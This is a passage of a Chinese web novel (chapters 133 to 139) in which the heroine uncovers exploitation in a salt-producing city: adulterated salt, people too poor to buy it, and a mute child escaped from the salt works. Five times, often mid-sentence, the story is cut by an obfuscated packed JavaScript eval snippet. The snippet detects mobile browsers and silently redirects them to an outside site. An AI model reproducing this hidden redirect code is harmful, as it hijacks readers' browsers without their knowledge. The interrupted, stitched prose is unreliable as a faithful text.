这一幕看着多少有些可怜,本来想让身边侍卫帮个忙,但那小贩一抬头,迎面看到这么多外地人,脸色一变,几乎是惊恐的扛着那担子飞快的跑了。 他们难不成很吓人? “诸位别见怪,我们这地方偏僻,百姓也胆小羞涩,猛然见到这么多外地人自然会害怕。还希望诸位不要乱走,免得让我盐城百姓惶恐。” 听见姓陆的说话九阙就忍不住悄悄翻了个白眼,这也能当成理由?真把他们当成傻子耍啊。 待会儿还是得找个机会悄悄留下来查看一番。这里百姓的反应有些不太对劲,还有沿途所见,不管做生意还是买东西的,都干枯瘦弱的很。按理来说盐城掌握着天下食盐,应该十分富庶才是,可这里的百姓却这般瘦弱贫苦,大大的不对劲。 还有这个姓陆的,明着不让他们管盐城的事儿,肯定藏着什么。跟身边淳于霜几人交换了个眼神,九阙几个悄悄留意周边的地形,暗自思考过会儿要去哪里查看。 第一百三十四章 劣等盐 那位陆将军显然也不想让九阙等人看到盐城的情况,迅速带着他们来到一处偏僻的院落,打开门,里面摆满了麻袋。麻袋下方还微微渗水,有一股子苦涩的腥味儿。想来这麻袋里面装的就是盐了。 只是,食盐不应该是干燥的吗?若是含水,重量不就沉了许多。而且品质也不会有多好,百衣淳当然能想到这点,因此她的表情有些不太好看。但碍于就站在一边的陆将军也没多说什么,只是上前一步随意解开其中一口麻袋。 九阙也跟着过去看了一眼,差点儿没忍住,扭头质问那个姓陆的,这也叫盐吗?这盐看起来灰黑灰黑的,里边儿还掺杂的有土块儿和树枝。就算里边儿含水,把杂质挑拣出来难道很难? 看来这个姓陆的就是想买这种劣等的盐给百衣淳。 百衣淳垂在袖子里的手用力握紧,她的脾气本来就不好,自己掏出货真价实的金银买来的就是这种劣等的东西。谁也不会开心。但她忍了又忍,还是忍了下来,扭过头还是一张灿烂的笑脸。语气也带上了些许小心。 “陆将军,这批盐的质量是不是有点……” “百衣将军是看不上这批眼吗?刚好,北地那边儿缺盐的厉害,三番五次求到我这边儿,求着我们把盐卖给他们,若是百衣将军不想要这批烟,刚好便宜他们吧。” 北地,北地那边不是正在和北蛮打仗吗?而且听说她娘创办的娘子军也在北地参战。难道那边连盐都吃不上了?真是岂有此理,若是没盐吃哪会有力气打仗?! 好家伙,边关将士们不畏生死与敌人搏命,后方不仅不支持,竟然还有拖后腿的。盐这东西在特殊时候不是必需品吗?盐城好大的胆子,竟然敢卡北地的盐!一想到那些英勇上阵杀敌的将士好不容易从战场上活着回去,却只能吃些没滋没味儿的饭菜,九阙就气不打一处来,猛然转身!正想说些什么,就被百衣淳给拉住了。 “别呀,我们当然要,只是有些惊讶。这些盐都给我吧,我们苗州能吃得下。来人搬货,把咱们带过来的金银交给陆将军。” 那个姓陆的这会儿才勉强给了百衣淳一个笑脸儿。 “百衣将军就是识大体。这苗州啊,还得将军这样的人才能掌控的了,就是家中小辈,若是没上见识还是不要出来了,平白招人笑话。” 九阙微微眯起眼睛,仔细将这个姓陆的从上到下看了一遍,牢牢记住他的脸。 说起来,像这种没脑子的蠢货一般在剧情里就是个反派,而且还是个不知名的反派炮灰。连自己是什么身份都没搞清楚就敢这么冷嘲热讽,当真不是块儿做官的料,怪不得出来做这种苦力活。 不过,陛下之前飞鸽传书让她跟着进贡的队伍上京,途中势必经过盐城,自然也要跟着盐城进贡的队伍。莫不是陛下对盐城早有不满,所以想让她私底下查看一番? 她总觉得盐城这块儿地方透着股诡异,刚刚进城的时候也是,那些百姓都不敢盯着他们这些外地人多看。盐城这地方别的不说,盐肯定是够的吧?那为何这里的百姓看着依旧面黄肌瘦,没什么力气? 这边姓陆的得到金银,打开检查了一番后露出个满意的表情。九阙眼尖的看到百衣淳还悄悄递给他一个锦囊,那锦囊不大,里边儿鼓鼓囊囊的不知塞了多少好东西。总而言之,那姓陆的总算是满意了。交代了几句之后,就想让百衣淳他们离开。 就在这时九阙捂了捂肚子,有点儿不好意思的羞红了脸。 “姐姐,我有些饿了,这些天风餐露宿的,也没吃过正经饭,能不能去酒楼吃一顿啊?顺便也打包点儿东西路上吃。我想吃糕点了。” “这……” 百衣淳看起来有些为难。大概是看在那个锦囊的面子上,姓陆的总算没那么不近人情。当然了,语气还是高傲的叫人不喜。 “百衣将军若是想吃饭,前面左拐那条街全是酒楼和卖食物的,滋味还算不错。可以一试。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501287|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如此就多谢陆将军了,我这小妹年纪小,嘴也馋的很,这些天总是在我耳边念叨想要吃顿好的。陆将军放心,我们就去吃顿饭,吃完立刻就走。” “倒也不必如此……注意点儿时间就成。” 姓陆的说完这句话之后扭头就走,显然是不愿意和九阙他们多说话。等他们走远之后,九阙隔空挥舞下拳头。 有什么好了不起的?卖个盐还给卖出高大感了?他们拿着白花花的银子,对方竟然还托大拿乔,真以为他们得上赶着买盐啊。 回过头来就看到百衣淳不太赞同的表情。 “妹子,我知道你是个愿意为百姓着想的好官,但这件事儿你听姐姐的,你管不了,这事儿太大了。” “可是百衣姐姐,你们难道就不想吃品质好的盐吗?我刚刚看了,这盐袋儿里面儿装了好多石头和土块儿,甚至还是湿的。这样的盐你们带回去之后还得再次处理,处理之后还能剩下多少?能剩下这里的一半就不错了。这么高价的盐,若是只吃一次就算了,可你们这明显不是只吃一次啊。” 盐这东西就是个消耗品,又不能重复利用,用买肉的价格去买盐,也太亏了吧。 百衣淳动了动嘴,却找不到可 以劝九阙的理由,只能无奈的叹了口气。 “你这孩子,怎么说不听呢?算了,不过你得知道,滨阳王的权势可大着呢,轻易不要得罪他。否则他一断盐,周围这几个郡县都得受罪。” 九阙点了点头。黔州离这里不远,那里的百姓也得吃这边儿产出的盐,她自然不会在这个节骨眼儿上搞事情。 不过经过这一提醒九阙突然想起,之前在朱砂矿的时候,那地方虽说吃喝上简陋些,可她在做饭的时候确实有一罐又一罐的盐。即便颜色有些发灰,可比眼前这些用麻袋装起来的品质好上许多。 “百衣姐姐,你们苗州之前买的盐都是这样品质的?” ” 第一百三十五章 ‘天价\’面条 “以前买的也不比这次好到哪儿去,我们都快习惯了。” 这就奇了。为何单单黔州那边的盐这么好?普通百姓也就算了,他们吃的盐大概不会好到哪儿去,可矿山上的难免是梁恒做主出面购买,同样都给滨阳王送礼,凭什么梁恒买回去的盐品质就更好? 莫非这两者之间还有什么牵扯? 九阙越想越觉得奇怪。这会儿他们已经到了姓赵的说的那条街,果不其然,这条街上全都是卖吃的。百衣淳本来还想找一家看起来不错的,但九阙却选了路边一家小摊,没办法百衣淳只好跟了过去。 这是一家卖臊子面的小摊儿,摊主是个四十多岁的婶子,此刻正在揉捏案板上那团面,那团柔软的面在她手下仿佛有魔力似的来回拉伸,最后形成一团细细的松散面条。 隔着大老远都能闻见从这家小摊子里散发出去的香味儿。 九阙一行人把这家小摊的位置坐的满满当当,摊主本来还有些害怕,但九阙生来热络,这会儿更是主动走到摊位前笑眯眯的跟摊主打招呼。 “这位姐姐,你这里都有什么臊子呀?我们人多,能不能推荐个好吃的?” 那摊主本来还有些害怕,但是一听到九阙喊自己‘姐姐’就忍不住想笑。这孩子年纪不大,一张嘴倒是甜。 一时间也顾不上害怕,再加上有大单生意上门,不做的才是胆小鬼,立马扬起热烈的笑脸。 “这位小姐,我们这是小本生意,只有两种臊子,一种肉的,一种素的。不知您想吃哪一种?” “嗯……那就肉臊子素臊子都放吧,我们接下来还要赶路,得吃点儿重口味儿的有力气。老板不必担心,价格我们照付,你只做就行了。” “哎哎,行!” 老板顿时喜笑颜开,招呼旁边儿十二三岁的闺女一起帮忙,那女孩儿看起来有些安静沉默,和自己爽朗善谈的娘亲不太一样,这会儿手脚利落的帮他们清理桌面。虽然桌面已经擦过了,但淳于霜魏渊谢明尘几个都是富贵窝里长大的,之前在矿场上那是没条件,这会儿就忍不住挑剔干净些。 九阙把这一切都看在眼里,忍不住恭喜这位老板。 “老板,你有个懂事的好女儿啊,看这孩子年纪不大,手脚倒是利落的很。以后也定是个做买卖的好手。” 这位身材略显丰腴的老板更是喜笑颜开,手一抖,案板上的面团在她手里如同有灵魂般来回飞舞拉扯,最终形成一团又一团的松散面条,投入滚开的热水中。那微微泛黄的面条在锅中上下浮动,滚了几滚过后,老板利落的用笊篱捞出,此刻那女孩儿已经一字排开,摆了好几排的干净空碗,老板动作利索的在每个空碗里都投入一团面条。 然后打开了用盖子盖着的两个装臊子的盆,九阙在一边儿看着两种哨子都是酱赤色,只不过其中一盆儿里放了些许肉粒。她站在旁边都能闻到浓重的酱香味儿,不由的胃口大开。 老板利索的给每只碗里都浇上两种哨子,只是在临端上去前犹豫了下,从案板下拿出一个巴掌大小的小罐子,里面有些灰褐色的粉末,十分珍惜的舀出来几勺,在每个碗里撒上一些。 旁边看到的九阙眼神闪了闪,故作惊讶的开口。 “这位姐姐,你给我们撒了什么啊?看起来怎么这个颜色?怪不好看的。” 听到这话,那几个表面上松散坐在桌边,实际上全神戒备的侍卫立马起身,那种无形之中的压迫感让老板略有些惶恐,不过还是赶紧给自己解释。 “小姐不要误会,我撒的是盐。” “盐?可我见过的盐不是这个颜色。不是灰白的细粉吗?你这儿怎么还结块儿了?” 老板有些局促的扭了扭手左右看看,没发现特殊的人,低声给九阙解释。 “小姐赶紧低声些,我们这里吃的盐都是这样。小姐怕是许久都没来过盐城了吧?小人绝对不敢糊弄小姐。在我们这边儿,这样的盐已经算是上等货了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501288|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。小人熬的臊子放的盐少,听到诸位接下来还要赶长路,所以想着多放些盐,好让诸位有力气赶路,绝对不是有心谋害。” 哎呦,她可是听说过那些大户人家出身的人就怕别人暗害,尤其是食物。也是她的错,应该在撒盐之前给大家解释一下,这会儿要是被误会成刺客,她和小闺女不就危险了?像这种世家大族出来的小郎君小姑娘,而且旁边还有个穿将军服饰的女孩子,说不定是从哪个州县出来的官宦世家,这要是真动手,她们也只有等挨的份儿。 见这位婶子已经吓得语无伦次了,九阙连忙安抚。 “姐姐不必害怕,我只是好奇罢了,主要我以前没见过长这样的盐。不过话说回来,这里不是盐城吗?我听说全天下只有盐城产的盐品质最好,产量最多。怎么姐姐你们还吃这样的盐?这个盐的品质……不是我说,有点儿不太好。里面杂质太多了,吃了怕是对身体不好。” 那老板这才好不容易放松些,只是听了九阙这话,连忙拉扯她的衣袖,让她不要多说。 不过因为他们这边人多,再加上现在正是饭点儿,忙得很,周围摊贩也没怎么关注他们。见状,这位老板才算稍稍松了口气。 “小姐啊 ,这,所以说我们是盐城人,可也不代表我们都能吃得起上好的盐啊。就这么一小罐盐,你可别小瞧,得一钱银子呢!” “什么?!怎么这么贵?这比肉还贵的多。” 九阙要不是早有准备,这会儿都要尖叫出声了。这时候她也想起自己刚刚忘了问的问题。 “那姐姐,我们这十五碗面得多少钱?” 这位老板有些局促的笑笑,似乎有些担心九阙他们会不付钱就跑。这也怪她,以为九阙知道这里的情况,没有提前说价格。有些不太好意思的开口。 “这,这十五碗面加上肉素臊子,得一两银子。不过小人绝对没有虚要价格,您可以四处打听打听,咱们这边都是这个价钱!” 第一百三十六章 探查盐场 不得不说这位摊主的手艺确实不错,等九阙坐下来闷闷不乐的往嘴里塞了一口面条之后,也忍不住露出了感慨的表情。 面条十分劲道爽滑,上面的臊子因为又加了盐,搅和匀了之后裹满面条儿,接触口腔的一瞬间都能感觉到那种鲜咸的滋味。 但这碗面却叫九阙有些食不下咽。 淳于霜悄悄拽了拽她的衣袖,九阙这才呼噜噜的把整碗面条都塞到嘴里,囫囵吞枣的咽了。 她怎么也没想到,盐城的盐竟然这么贵,遍身罗绮者,不是养蚕人。盐城的盐卖给其他郡县价格贵也就算了,可自己城中百姓所吃的食盐价格都如此昂贵,而且品质这么低劣,滨阳王到底是怎么管的封地?! 盐价上涨,别以为只是件小事儿,它会连带着其他物价一同上涨。到最后涨来涨去的,受苦的还不是普通百姓? 滨阳王身为陛下义子,以前也是穷苦百姓出身,怎么才享了十几年的富贵日子,就把自己以往受过的苦忘了个一干二净? 这还没完,九阙本来就憋着一口气,结果这位摊主的小女儿大概是以为九阙觉得他们摊子上的面贵,犹豫了许久之后,拿着一样东西上前,悄咪咪的开口。 “这位贵人。我阿母说的都是实话,盐价昂贵,我们自己都舍不得吃。你看,这是我们自己做饭时用的。” 九阙低头一看,一股刺鼻的气味袭来,屏住呼吸仔细打量了一下,发现那是一块黑黢黢的布。不仅看上去颜色不佳,味道也有些诡异,她从未见过这样奇怪的布。 “这是什么东西?” 旁边的百衣淳轻轻叹了口气,表情有些怜悯。 “妹子没见过也是自然,这是醋布。我苗族百姓以前有很长一段时间用的也是这东西,勉强能调个味道罢了。” 九阙还是有些不太理解。 “醋布,醋布是用醋煮的布吗?为什么……” 九阙突然闭嘴,脸色越发阴沉。她已经想起来了,醋布确实就是用醋煮的布,只有在吃不起盐的时候才会用这种东西来调味儿,骗骗自个儿的嘴,好能把食物咽下肚。有些醋不里会加入粗盐熬煮,可问题是这里是天下盐都啊,盐城百姓竟然吃不起盐,还得用醋布调味儿,这简直是滑天下之大稽! 怪不得那个姓陆的三番五次让他们赶紧走,最后也是看在那袋贿赂的份儿上,才让他们在这儿吃顿饭。原来是害怕自己做下的那些孽会被发现。这些混账东西!他们眼睁睁看着百姓只能用醋布调味,竟然置若罔闻! 人生在世,无非吃喝住行。现在连盐都有人插手了,好,真是好的很啊,想来陛下还不知道盐城的具体情况,她这个钦差要是就这么平白走了,岂不是辜负了陛下的信任?也辜负了陛下亲赐的打神鞭? 看着她的表情,淳于霜默默将手中碗筷放下,幽幽的叹了口气,看来又有的忙了。 说来也奇怪,有些事情为了不被别人发现,幕后黑手恨不得藏的除了自己谁也不知道,可偏偏这些事儿就是要往九阙身上撞,也真是奇了。崔前辈还说自己是个倒霉鬼,总是会遇见倒霉事儿。她那是没和九阙比,九阙才是最大的倒霉鬼,像这种动辄就抄家灭族的大事儿总是被她一次又一次撞上。谁能说她不倒霉呢?可这人偏偏又如同福星降临,每次遇到事儿总能险之又险的完美解决。 怪不得陛下喜欢用九阙,这用起来明显相当顺手啊。 告别了这对母女,九阙一行人十分懂事的离开了盐城,身后默默监视他们的人回去给陆将军复命。姓陆的冷笑一声,觉得他们还算识趣,看来以后不必对苗州来的人太过警觉。 表面上看这群人和自己的队伍汇合之后迅速启程,不多时就赶出了三五十里路,但实际上在某条官道的岔路口,驶出来一辆摇摇晃晃的青布马车,里面的人目标明确的朝着盐城的盐湖盐井方向驶去。 正是九阙一行人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501289|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我真是奇了怪了,以前知道咱们大景是天灾不断,现在才知道,原来人祸也没少过。那些人难道就欠百姓这口吃的,就欠百姓这点儿救命钱吗?这种丧良心的钱也赚,真是不知所谓!” 眼见着九阙气鼓鼓的,淳于霜给她拍了拍背,顺顺气儿,手中的炭笔却不停,不知在画些什么。九阙来了兴致,歪过去看了一眼,发现是一幅图。画的正是方才那个小姑娘手捧醋布跟自己解释的场景,虽说只有寥寥数笔,但却形神兼备,让人一眼就能看出来发生了什么。 九阙看了之后更加生气。那小姑娘才十岁出头,正是花骨朵一般的年纪,却要用醋布调味吃饭。这样大的孩子,正是该享受世间美好的时候,偏偏遇上了这样的困境…… “哇啊啊啊——” 九阙在一边儿发疯,谢明尘几个已经很习惯了。甚至谢明尘还能抽空掏出来一颗顺气丸儿塞给九阙。他们这一路上所见之景无不让人气闷,若是都跟着生气,岂不早就被气死了? 把那颗酸酸甜甜的顺气丸儿咬的嘎吱作响,九阙开始思索起跟这片盐湖盐井相关的记忆。 在她知道的剧情里,这片盐湖盐井出场的次数很少,只知道天下之盐具产自盐城。她以前出去旅游的时候其实也见过盐矿, 那是一种有着淡淡玫瑰色的岩盐,在后世大谈养生的时代,那种岩盐十分受欢迎。 不过盐城的盐好像都是自一处盐湖和许多盐井里挖出来的。 而且那些挖出来的盐不能直接使用,得经过蒸煮晾晒过滤等等复杂的程序之后才能得到可以直接食用的盐。 所以,这里有一片戒备森严专门生产食盐的盐场。 嗯…… 她怎么觉得这个剧情似曾相识?难道盐城也会抓过路之人去熬煮食盐?不不不像梁恒那样胆大包天的人还是少数,至少盐城没有这样的传闻。这一点也从旁边儿目瞪口呆的百衣淳口中得到了证实。 第一百三十七章 飞起来了 百衣淳本来是不放心他们才会跟上来看看,但见他们彼此配合默契,三言两语之间已经将盐场的位置摸索清楚的模样,不由得目瞪口呆。 不是,他们怎么这么熟练呀?好像已经不是第一次搞事儿了。尤其是九阙,之前那个热情爽朗大方又会撒娇的小姑娘哪儿去了?现在这个如同煞神转世般的女子还是她之前认识的九阙妹子嘛? 感觉人生都被重塑了一遍的百衣淳此刻也被九阙分配了任务。 “百衣将军,你武艺高强,待会儿若是发生冲突,还希望能帮帮忙。” 百衣淳悦听越心惊,连忙制止。 “不是,你们不会准备直接攻进盐场吧?这盐场可是滨阳王的产业,如同禁脔,不允许任何人插手。这可是他最大的钱袋子!你知道盐场有多少人驻扎吗?至少上千人。那些都是滨阳王豢养的死士,而且他们每日都会不间断的巡逻,一旦发现有陌生人靠近,不管是谁,只要没有滨阳王的手书,一概格杀勿论!你们还是不要趟这趟浑水,之前黔州的事儿九阙处理的很完美,只要能安全回到京城,来自朝廷的嘉奖少不了。何必再给自己惹一身骚?” 百衣淳苦口婆心,她也是出自好意。滨阳王占据这么得天独厚的位置,谁会没有几分小心思?可这地方真不是那么容易就能进去,里面的盐工都是自族上开始落了盐户,祖祖辈辈都留在盐场熬煮食盐,他们可不像黔州矿场上的那些矿工一样对家人留有怀念,即使身陷囹圄也一心想着要出去。这些员工早就已经习惯艰苦的环境,没有心气儿了,也不可能和九阙他们一起反抗。 所以就他们这几个人,岂不是去送菜的?都够不上人家一次冲锋。 只是他在这边苦口婆心的劝说九阙,他们却根本没听,人家计划的好好的呢。 “崔前辈,这次的主力还得靠你,我们得去收集足够的证据。我不相信这么多的盐井盐湖生产出来的盐不够整个大景吃的,除非是他们的盐场出了问题。上报给京城的盐价并不是这么高,他们中间赚的那些差价都给谁了?是不是都给滨阳王了,这件事中滨阳王到底知不知情,我们必须得弄清楚。” 若是有人在其中胡乱哄抬盐价,他们必须得把证据找出来呈给陛下才能去动滨阳王。 总而言之,既然已经把天捅破,他们也不介意再捅的破一点儿!怎么说呢,好不容易出来一次,总不能对百姓的苦难置若罔闻吧?总得不辜负这千里迢迢的一程路。 一直神游天外,表现的迷迷糊糊的崔逐风听见这话猛然回神,那双眼睛闪过的精光让众人重视起她这个武林第一高手的名头。 要说那些阴谋诡计了,进攻的计划了什么的,崔逐风都不擅长,她唯一擅长的就是正面突入。 重重点了点头,崔逐风一把将九阙拽在手心,在众人担忧或激动的表情中,运起轻功,三两下就消失了。 “……她她她……” 原本还在担心这些人安全的百衣淳猛然看见超乎她想象的一幕,惊讶的话都不会说了。 这怎么回事儿这是?原来这群人里竟然隐藏着这般的绝顶高手,那她还担心个啥呀?不过剩下的几个人依旧跃跃欲试,别人也就算了,可旁边这位手无缚鸡之力的,据说是位大夫的谢小兄弟,你是着急忙慌的干啥呢? 似乎是看出了百衣淳的疑虑,谢明尘微微一笑。 “在下虽只是个大夫,但也略通毒术,百衣将军不必担心。” 哦哦哦,她懂,传说中的医毒不分家嘛,她了解。呵呵,呵呵呵,她就多余想这么多。 眼睁睁看着几人消失,百衣淳本来也想做些什么,结果只被留了个留守的任务,虽说有些无奈,但也只能照做了。只希望九阙他们几个不要得罪滨阳王,自己也能安全回来。 九阙还是第一次被崔前辈带着飞这么高,总感觉有些刺激,这可没有安全绳,要是崔前辈一个不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501290|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心撒开手,自己就直接掉下去了。但是当克服那种心脏都悬在外面的刺激感之后,九阙还真感觉,挺好玩的。 “崔前辈,你们会武功的都这么厉害吗?能飞这么高这么远,而且还不用担心掉下去?我能不能也这么厉害?” 崔前辈抽空看了一眼九阙,她早就捏过九阙的根骨,虽说有这不错的根骨,听说应重鸣也是世上第一等的武将好胚子,她的女儿根骨自然不差,只是这孩子长这么大都没学过武,再好的根骨也被浪费了。 一个人最好的塑造根骨的年岁,得从三岁就开始,所以学武向来是件很苦的事情。 “你若是现在习武,已经晚了。不过也不是没这个可能,只要你每日练八个时辰基本功,被打一个时辰,如此这般坚持二十年,还是有可能成为二流高手的。” 只是九阙这样从小娇养的大家女子,当真能接受的了?是的哪怕九阙在庄子上长大,于京城众人看来已经是大大的折辱受苦,但在崔逐风眼里,已经算是娇生惯养的了。毕竟这世上之人,一概是穷习文,富习武。若是不能花费大量时间精力金钱,根本不能学有所成。 此刻九阙的表情已经僵硬了,她搓了把脸,无奈的表示。 “……那还是算了吧。我本来以为自己挺 能吃苦,但听了前辈的话,觉得我还是就这么苟着吧。” 崔逐风也不介意,每个人都有自己在行的事儿,九阙擅长的不是武功,而在于她这个人。 虽说她很多东西都不懂,但崔逐风很清楚,当今陛下对于九阙有着超乎寻常的信任。千金之子,坐不垂堂,陛下坐拥四海,但因为身份原因反而不能去更远的地方考察。而备受陛下信任的九阙,就几乎成了唯一的话事人。只要她说出口的话,再加上证据确凿,陛下怎会不相信? 虽说崔逐风单纯些,但越是这样纯粹之人,越是能拨开迷蒙的表面,单刀直入般看到最核心最重要的问题。 第一百三十八章 没舌头的孩子 就像她很相信九阙的言行举止能影响陛下一样。 她游历天下这么多年来,见过无数个官员,但只有九阙,是个会为百姓考虑的好官。她幼时孤苦,被师父捡回去养大,虽说吃喝不愁,但也曾过过一段苦兮兮的日子,见过无数人间疾苦。若是有人能像九阙那样,会因为路见不平就拔刀相助,那么这世上疾苦,就会少许多。 所以她愿意跟着九阙,也愿意帮她做事。 崔逐风的轻功是真的好,只需要两次换息,已经潜入到盐场旁边的一个小土坡。在土坡下面,就是大名鼎鼎的盐城盐场。 这盐城的地势有些古怪,有一条横贯整个大景的长河从中穿过,有这样大的水势,这里反而有数不清的盐井和一座大盐湖。不过事实确实如此,九阙还没到眼前,就嗅到一股古怪的咸涩味儿。 这味道有些冲鼻子,不过闻到这味道的九阙却兴奋的探了探脑袋,这里确实是处富盐矿。只是隔了这么远的距离,九阙只能看见里面行走着的密密麻麻的人。而且远远的还能看见里面燃起的火堆,火堆上架着比澡盆子还大的瓦缸,里面在咕嘟嘟的煮着什么。 “他们在干什么?是在煮盐吗?” 这法子岂不是太过耗费人力物力了,而且也很艰难。虽然隔得大老远,但九阙依旧能看到那些正在劳作的员工身上瘦巴巴的,甚至连骨头都突了出来,看起来属实有些吓人。 他们之前在矿山见到的矿工们已然算是够凄惨的了,但这里的员工似乎有过之而无不及。 崔逐风的眼力比九阙要好的多,因此这会儿她清楚地看到这些员工因为长时间接触盐卤水而开裂的双手双脚,以及一次又一次蜕皮之后留下的粗糙肌肤。有那么多龟裂痕迹的,手一旦接触到盐水必是钻心的疼痛,可这些盐工却像是早已经习惯了,麻木的很,只是在周围监工的督促下手脚不停的干活,他们看起来都不像是个人了,反倒是像被鞭子不断抽打着前进的驴子。 虽说黔州和盐城不属于一个人管理,但他们境下的百姓却有异曲同工之妙。盐城百姓的生活确实没有黔州那边儿提心吊胆,大眼一看似乎过得还算不错,可是身为盐城人却连盐都吃不起,他们真的过得好吗?还是那些丑恶都隐藏在盛世繁华之下? 作为五人小队里年纪最长,经验最丰富的那个,崔逐风对此不置可否。百姓有句话,天下的乌鸦一般黑。看来不管是哪儿都有贪官污吏,都有不把底层百姓放在眼里的官儿。 唉,这世道,有一个九阙,就已经是承天之幸了。 “崔前辈,我们还能再近些吗?我看不清楚。” “可以是可以,不过……有只老鼠过来了。” “老鼠?什么老鼠?” 九阙还在奇怪,崔逐风已经身形一闪,再次出现的时候,手里拎着一个脏兮兮的人影。那人影还在不断挣扎,试图用自己那口锋利的牙齿给崔逐风身上增添新的伤痕。 但是很奇怪,不管那人怎么挣扎都没有发出声音,不知是在忌惮什么,还是不能说话。 不过她的那点儿小反抗对于崔逐风来说简直就跟小猫挠痒似的,没有一点儿威胁。她只是有点儿烦恼。这孩子不断挣扎,溅起的尘土都沾到九阙身上了,原本干干净净的九阙现在染了一层灰,她没把九阙照顾好…… 不过短暂的懊恼过后,崔逐风很快打起精神。手里这孩子身上有着淡淡的咸味儿,而且看跑过来的方向,难保不是从盐场逃出来的。九阙正想打探盐场的情况,这孩子不就送上门来了吗? 真是不错。 “这孩子好像是从盐场逃出来的。” 当真?九阙有些激动的仔细打量了一眼,然后发现这孩子浑身上下都晒得黑漆漆的,而且只穿了一条麻布。对的,就是一条麻布,甚至都没有缝制过的那种,只在胸上和腰间系了两根布条儿,两条胳膊和小腿全都露在外面。 虽说现在已经是春夏之际,可天气依旧有些寒凉。这孩子就穿这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501291|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条破布,不冷吗? 是的,九阙也发现了,这个黑漆漆的人有年纪不大,看起来也就十四五岁的样子。不过因为身形比较瘦小,有可能实际年龄要更小些。 见对方这会儿也不挣扎,九阙很小声的询问。 “你好,我想问一下,你是从前面那盐场里逃出来的?嗯,我听说盐城招收盐工只要二十到三十岁之间的青壮劳力,你怎么看也不满二十岁,你怎么会在那里?有人强迫你吗?你可以告诉我,我就是来查这件事儿……” “呸!” 九阙话还没说完就收到了对方的嗤之以鼻,要不是崔逐风反应迅速,这口吐沫就吐到她脸上了。 这还没完呢,孩子手舞足蹈的,想要冲上去抓挠九阙,不过被崔逐风一根手指头给弹压了。即便如此,那孩子也奋力张开口,呜呜啦啦的想说什么,但却只有破碎的声音。 本来还觉得莫名其妙的九阙突然看到了他那空荡荡的口腔,瞳孔骤然紧缩,简直不敢置信。 这,这么齐整的伤口…… 这孩子的舌头像是被人割掉了。 有种阴寒之气自脚底直冲天灵盖儿,九阙一时间只感觉到了莫大的冲击。 人类有时候真是一种残忍的生物,因为他们可以对同类施加这么残酷的惩罚。这个孩子才十几岁,九阙猛然间想不到他到底犯了什么罪该万死的罪行,才招致这样的祸事。 崔逐风也意识到了不对劲,搬过他的脑袋,掰开嘴看了一眼,脸色也不太好看。不过她见多识广,已经从那齐整的陈旧伤口上看出重点。 “据说有些强势的主家会把自家不听话且乱说话的奴隶舌头割掉。只是大景建立十三年,举国上下已经没有奴隶,若是对自家奴婢施加这种私刑,主家也会受惩罚。” 所以,这盐城,果然有大问题。这条律令就写在大景律法上,每个读书人都要熟识,结果这滨阳王管辖下的盐场竟然搞阳奉阴违这套,简直人神共愤! 第一百三十九章 救人 这个时候那个不能说话的孩子似乎也注意到了九阙的不同,她似乎和盐场里那些凶神恶煞的监工不是一伙的,更何况这是个女人,在盐场里就没有当监工的女人。 所以他渐渐安静了下来。大概是之前一直紧绷着神经,这突然安静下来,整个人都有些绷不住,身子瞬间软了。要不是站在他后面的崔逐风伸手扶了一把,这孩子怕是要躺到地上去了。 